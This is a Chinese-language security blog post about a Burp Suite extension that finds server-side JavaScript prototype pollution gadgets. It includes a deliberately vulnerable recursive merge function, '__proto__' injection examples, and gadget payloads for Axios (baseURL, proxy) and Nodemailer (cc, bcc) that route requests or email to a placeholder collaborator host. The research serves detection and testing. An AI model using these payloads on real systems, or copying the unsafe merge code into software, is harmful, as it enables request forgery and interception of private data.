原型污染攻击链发现工具揭秘:服务器端漏洞自动化利用新突破

本文深入探讨JavaScript原型污染漏洞的服务器端利用技术,详细介绍新型BurpSuite插件如何通过自动化方式发现和利用污染攻击链,涵盖Axios和Nodemailer等常见库的实际漏洞案例和利用方法。

揭示原型污染攻击链发现工具

2024年2月17日 - 作者:Raúl Miján

引言

原型污染最近成为Web安全领域的一种流行漏洞。当攻击者利用JavaScript原型继承的特性来修改对象的原型时,就会发生这种漏洞。通过这种方式,他们可以注入恶意代码或改变应用程序的行为,导致意外结果。在某些条件下,这可能导致敏感信息泄露、类型混淆漏洞甚至远程代码执行。

对于希望深入了解原型污染技术细节和影响的读者,我们推荐查看PortSwigger的全面指南。

1
2
3
4
// 浏览器控制台中的原型污染示例
Object.prototype.isAdmin = true;
const user = {};
console.log(user.isAdmin); // 输出:true

要完全理解这个漏洞的利用,关键是要知道什么是"源"和"攻击链"。

:在原型污染的上下文中,源指的是执行递归赋值但没有正确验证涉及对象的代码片段。这个动作为攻击者修改对象原型创造了途径。原型污染的主要来源包括:

  • 自定义代码:包括开发人员编写的代码,在处理用户输入之前没有充分检查或清理。这样的代码可以直接将漏洞引入应用程序。
  • 易受攻击的库:包含漏洞的外部库也可能导致原型污染。这通常通过未能验证被合并或扩展对象安全性的递归赋值发生。
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
// 导致原型污染的递归赋值示例
function merge(target, source) {
    for (let key in source) {
        if (typeof source[key] === 'object') {
            if (!target[key]) target[key] = {};
            merge(target[key], source[key]);
        } else {
            target[key] = source[key];
        }
    }
}

攻击链:攻击链指的是利用原型污染漏洞实现攻击的方法或代码片段。通过操纵基础对象的原型,攻击者可以根据应用程序的结构和被污染原型的性质,改变应用程序的逻辑、获得未授权访问或执行任意代码。

技术现状

在深入我们的研究细节之前,了解现有原型污染研究的现状至关重要。这将帮助我们识别当前方法和工具中的差距,以及我们的工作如何旨在解决这些问题。

在客户端,有丰富的研究和工具可用。对于源,一个极好的起点是GitHub上的编译内容(客户端原型污染源)。至于攻击链,各种文章中已经记录了详细的探索和利用技术,例如InfoSec Writeups上的信息性文章和PortSwigger自己关于客户端原型污染的指南。

此外,还有设计用于自动检测和利用此漏洞的工具,包括命令行和浏览器内的工具。这些包括PP-Finder CLI工具和DOM Invader,这是Burp Suite的一个功能,旨在发现客户端原型污染。

然而,服务器端原型污染的研究和工具环境呈现出不同的情况:

PortSwigger的研究提供了对服务器端原型污染的基础理解,包含各种检测方法。然而,一个重要的限制是其中一些检测方法随着时间的推移已经过时。更重要的是,虽然它在识别漏洞方面表现出色,但没有扩展到使用攻击链促进其实际利用。这个差距表明需要不仅能检测而且能实现已识别漏洞实际利用的工具。

另一方面,YesWeHack的指南介绍了几种有趣的攻击链,其中一些已被纳入我们的插件(下文)。尽管有这个有价值的贡献,但该指南偶尔会涉足可能与现实应用场景不完全一致的假设情景。此外,它没有提供在黑盒测试环境中发现攻击链的自动化方法。这对于现实环境中的全面漏洞评估和利用至关重要。

这个概述强调了在服务器端原型污染研究中需要进一步创新,特别是在开发不仅能检测而且能以实际自动化方式利用此漏洞的工具方面。

关于插件

根据前面讨论的见解,我们开发了一个用于检测服务器端原型污染攻击链的Burpsuite插件:原型污染攻击链发现工具,可在GitHub上获取。这个工具代表了Web安全领域的一种新颖方法,专注于精确识别和利用原型污染漏洞。

这个插件的核心功能是获取请求中的JSON对象,并系统地尝试用预定义的一组攻击链污染所有可能的字段。例如,给定一个JSON对象:

1
2
3
4
{
  "user": "example",
  "auth": false
}

插件会尝试各种污染,例如:

1
2
3
4
{
  "user": {"__proto__": <polluted_object>},
  "auth": false
}

或者:

1
2
3
4
{
  "user": "example",
  "auth": {"__proto__": <polluted_object>}
}

我们决定创建一个新插件,而不是仅仅依赖自定义检查(bchecks)或PortSwigger博客中强调的现有服务器端原型污染扫描器,是出于实际必要性。这些工具虽然在检测能力上很强大,但不会自动恢复检测过程中所做的修改。鉴于某些攻击链可能对系统产生不利影响或改变应用程序行为,我们的插件特别通过仔细在检测后移除污染来解决这个问题。这个步骤对于确保利用过程不会损害应用程序的功能或稳定性至关重要。通过采用这种方法,我们旨在提供一个不仅能识别漏洞而且通过防止利用活动可能造成的中断来维护应用程序完整性的工具。

此外,插件引入的所有攻击链都是带外(OOB)操作的。这个设计选择源于这样的理解:污染源可能与应用程序代码库中触发攻击链的地方完全分开。因此,利用是异步发生的,依赖于等待交互的OOB技术。这种方法确保即使被污染的属性没有立即使用,一旦应用程序与中毒的原型交互,它仍然可以被利用。这展示了我们扫描方法的多样性和深度。

发现攻击链的方法论

为了发现能够改变应用程序行为的攻击链,我们的方法涉及对常见Node.js库文档的彻底检查。我们专注于识别这些库中的可选参数,这些参数在被修改时可能引入安全漏洞或导致意外的应用程序行为。我们方法论的一部分还包括定义描述我们插件中每个攻击链的标准格式:

1
2
3
4
5
{
"payload": {"<parameter>": "<URL>"},
"description": "<Description>",
"null_payload": {"<parameter>": {}}
}
  • Payload:代表用于利用漏洞的实际payload。<URL>占位符是插入合作者URL的地方。
  • Description:提供攻击链作用或利用什么漏洞的简要说明。
  • Null_payload:指定应用于恢复payload所做更改的payload,有效地"去污染"应用程序以防止任何意外行为。

这种格式确保了在安全社区中记录和共享攻击链的一致清晰方式,促进了原型污染漏洞的识别、测试和缓解。

Axios库

Axios广泛用于发出HTTP请求。通过检查Axios文档和请求配置选项,我们确定了某些参数(如baseURL和proxy)可以被恶意利用。

易受攻击的代码示例:

1
2
3
4
5
6
app.get("/get-api-key", async (req, res) => {
  try {
      const instance = axios.create({baseURL: "https://doyensec.com"});
      const response = await instance.get("/?api-key=<API_KEY>");
  }
});

攻击链解释:操纵baseURL参数允许将HTTP请求重定向到攻击者控制的域,可能促进服务器端请求伪造(SSRF)或数据泄露。对于proxy参数,利用的关键在于能够表明出站HTTP请求可以通过攻击者控制的代理重新路由。虽然Burp Collaborator本身不支持充当代理来直接捕获或操纵这些请求,但它可以检测应用程序发起的DNS查找这一微妙事实至关重要。能够观察到对我们控制域的DNS请求(通过污染代理配置触发)表明应用程序接受了这个中毒配置。它突出了潜在漏洞,而无需直接观察代理流量。这个洞察使我们能够推断,通过正确的设置(在Burp Collaborator之外),可以部署实际的代理来完全拦截和操纵HTTP通信,展示了漏洞的潜在可利用性。

Axios的攻击链:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
{
  "payload": {"baseURL": "https://<URL>"},
  "description": "修改'baseURL',导致Axios等库中的SSRF或敏感数据暴露。",
  "null_payload": {"baseURL": {}}
},
{
  "payload": {"proxy": {"protocol": "http", "host": "<URL>", "port": 80}},
  "description": "设置代理以操纵或拦截HTTP请求,可能泄露敏感信息。",
  "null_payload": {"proxy": {}}
}

Nodemailer库

Nodemailer是我们探索的另一个库,主要用于发送电子邮件。Nodemailer文档显示,像cc和bcc这样的参数可以被利用来拦截电子邮件通信。

易受攻击的代码示例:

1
2
3
4
5
6
7
transporter.sendMail(mailOptions, (error, info) => {
  if (error) {
      res.status(500).send('500!');
  } else {
      res.send('200 OK');
  }
});

攻击链解释:通过在电子邮件配置中将我们自己添加为cc或bcc收件人,我们可能拦截平台发送的所有电子邮件,获得对敏感信息或通信的访问权限。

Nodemailer的攻击链:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
{
  "payload": {"cc": "email@<URL>"},
  "description": "在电子邮件库中添加CC地址,可能拦截所有平台电子邮件。",
  "null_payload": {"cc": {}}
},
{
  "payload": {"bcc": "email@<URL>"},
  "description": "在电子邮件库中添加BCC地址,类似于'cc',用于拦截电子邮件。",
  "null_payload": {"bcc": {}}
}

我们的方法论强调了理解库文档以及如何恶意利用可选参数的重要性。我们鼓励社区通过识别新的攻击链并分享它们来做出贡献。访问我们的GitHub存储库获取全面的安装指南并开始使用该工具。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计